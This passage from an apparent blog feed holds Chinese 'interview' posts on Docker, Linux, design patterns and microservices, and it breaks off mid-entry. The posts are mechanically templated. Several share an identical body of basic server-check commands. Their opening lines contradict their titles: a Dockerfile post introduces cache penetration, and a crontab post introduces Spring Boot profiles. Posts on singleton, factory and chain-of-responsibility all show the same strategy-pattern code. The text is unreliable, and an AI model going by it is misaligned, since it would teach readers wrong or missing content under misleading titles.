        <content type="html"><![CDATA[<h1 id="面试：Dockerfile-分层缓存和镜像优化"><a href="#面试：Dockerfile-分层缓存和镜像优化" class="headerlink" title="面试：Dockerfile 分层缓存和镜像优化"></a>面试：Dockerfile 分层缓存和镜像优化</h1><p>缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Docker </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> docker </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：Linux 文件权限和用户组理解</title>
      <link href="//linux-wen-jian-quan-xian-he-yong-hu-zu-li-jie/"/>
      <url>//linux-wen-jian-quan-xian-he-yong-hu-zu-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：Linux-文件权限和用户组理解"><a href="#面试：Linux-文件权限和用户组理解" class="headerlink" title="面试：Linux 文件权限和用户组理解"></a>面试：Linux 文件权限和用户组理解</h1><p>Linux 文件权限是运维和后端开发的基础。本文讲权限模型和常见问题。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：crontab 定时任务从配置到排查</title>
      <link href="//crontab-ding-shi-ren-wu-cong-pei-zhi-dao-pai-cha/"/>
      <url>//crontab-ding-shi-ren-wu-cong-pei-zhi-dao-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：crontab-定时任务从配置到排查"><a href="#面试：crontab-定时任务从配置到排查" class="headerlink" title="面试：crontab 定时任务从配置到排查"></a>面试：crontab 定时任务从配置到排查</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：systemd 服务管理入门</title>
      <link href="//systemd-fu-wu-guan-li-ru-men/"/>
      <url>//systemd-fu-wu-guan-li-ru-men/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：systemd-服务管理入门"><a href="#面试：systemd-服务管理入门" class="headerlink" title="面试：systemd 服务管理入门"></a>面试：systemd 服务管理入门</h1><p>systemd 是 Linux 上的服务管理器。本文讲如何编写 service 文件和管理服务。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：Linux 查看日志的几种方法</title>
      <link href="//linux-cha-kan-ri-zhi-de-ji-chong-fang-fa/"/>
      <url>//linux-cha-kan-ri-zhi-de-ji-chong-fang-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：Linux-查看日志的几种方法"><a href="#面试：Linux-查看日志的几种方法" class="headerlink" title="面试：Linux 查看日志的几种方法"></a>面试：Linux 查看日志的几种方法</h1><p>日志是线上排查的生命线。本文讲 Spring Boot 中日志配置、分级输出和排查技巧。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：Linux 磁盘空间占满排查流程</title>
      <link href="//linux-ci-pan-kong-jian-zhan-man-pai-cha-liu-cheng/"/>
      <url>//linux-ci-pan-kong-jian-zhan-man-pai-cha-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：Linux-磁盘空间占满排查流程"><a href="#面试：Linux-磁盘空间占满排查流程" class="headerlink" title="面试：Linux 磁盘空间占满排查流程"></a>面试：Linux 磁盘空间占满排查流程</h1><p>Linux 文件权限是运维和后端开发的基础。本文讲权限模型和常见问题。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：责任链模式在审批和过滤器中的应用</title>
      <link href="//ze-ren-lian-mo-shi-zai-shen-pi-he-guo-lu-qi-zhong-de-ying-yong/"/>
      <url>//ze-ren-lian-mo-shi-zai-shen-pi-he-guo-lu-qi-zhong-de-ying-yong/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：责任链模式在审批和过滤器中的应用"><a href="#面试：责任链模式在审批和过滤器中的应用" class="headerlink" title="面试：责任链模式在审批和过滤器中的应用"></a>面试：责任链模式在审批和过滤器中的应用</h1><p>责任链模式在审批和过滤器中应用广泛。本文讲它的实现方式和适用场景。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：模板方法模式适合流程固定的业务</title>
      <link href="//mo-ban-fang-fa-mo-shi-gua-he-liu-cheng-gu-ding-de-ye-wu/"/>
      <url>//mo-ban-fang-fa-mo-shi-gua-he-liu-cheng-gu-ding-de-ye-wu/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：模板方法模式适合流程固定的业务"><a href="#面试：模板方法模式适合流程固定的业务" class="headerlink" title="面试：模板方法模式适合流程固定的业务"></a>面试：模板方法模式适合流程固定的业务</h1><p>模板方法模式适合流程固定但细节不同的业务。本文讲它的实现和应用场景。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：策略模式替代大量 if else</title>
      <link href="//ce-lue-mo-shi-ti-dai-da-liang-if-else/"/>
      <url>//ce-lue-mo-shi-ti-dai-da-liang-if-else/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：策略模式替代大量-if-else"><a href="#面试：策略模式替代大量-if-else" class="headerlink" title="面试：策略模式替代大量 if else"></a>面试：策略模式替代大量 if else</h1><p>策略模式是替代大量 if-else 的经典方案。本文讲它的实现方式和注意事项。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：工厂模式如何降低创建复杂度</title>
      <link href="//gong-han-mo-shi-ru-he-jiang-di-chuang-jian-fu-za-du/"/>
      <url>//gong-han-mo-shi-ru-he-jiang-di-chuang-jian-fu-za-du/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：工厂模式如何降低创建复杂度"><a href="#面试：工厂模式如何降低创建复杂度" class="headerlink" title="面试：工厂模式如何降低创建复杂度"></a>面试：工厂模式如何降低创建复杂度</h1><p>工厂模式能降低创建复杂度，但用不好反而会增加复杂度。本文讲它的适用场景。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：单例模式的线程安全写法</title>
      <link href="//dan-li-mo-shi-de-xian-cheng-an-quan-xie-fa/"/>
      <url>//dan-li-mo-shi-de-xian-cheng-an-quan-xie-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：单例模式的线程安全写法"><a href="#面试：单例模式的线程安全写法" class="headerlink" title="面试：单例模式的线程安全写法"></a>面试：单例模式的线程安全写法</h1><p>单例模式看似简单，但线程安全的写法有很多讲究。本文讲各种实现的区别。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：接口版本管理和灰度发布思路</title>
      <link href="//jie-kou-ban-ben-guan-li-he-hui-du-fa-bu-si-lu/"/>
      <url>//jie-kou-ban-ben-guan-li-he-hui-du-fa-bu-si-lu/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：接口版本管理和灰度发布思路"><a href="#面试：接口版本管理和灰度发布思路" class="headerlink" title="面试：接口版本管理和灰度发布思路"></a>面试：接口版本管理和灰度发布思路</h1><p>接口版本管理和灰度发布是长期维护项目必须考虑的。本文讲几种常见做法。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 微服务 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> SpringCloud </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：OpenFeign 调用超时和重试配置</title>
      <link href="//openfeign-diao-yong-chao-shi-he-chong-shi-pei-zhi/"/>
      <url>//openfeign-diao-yong-chao-shi-he-chong-shi-pei-zhi/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：OpenFeign-调用超时和重试配置"><a href="#面试：OpenFeign-调用超时和重试配置" class="headerlink" title="面试：OpenFeign 调用超时和重试配置"></a>面试：OpenFeign 调用超时和重试配置</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span 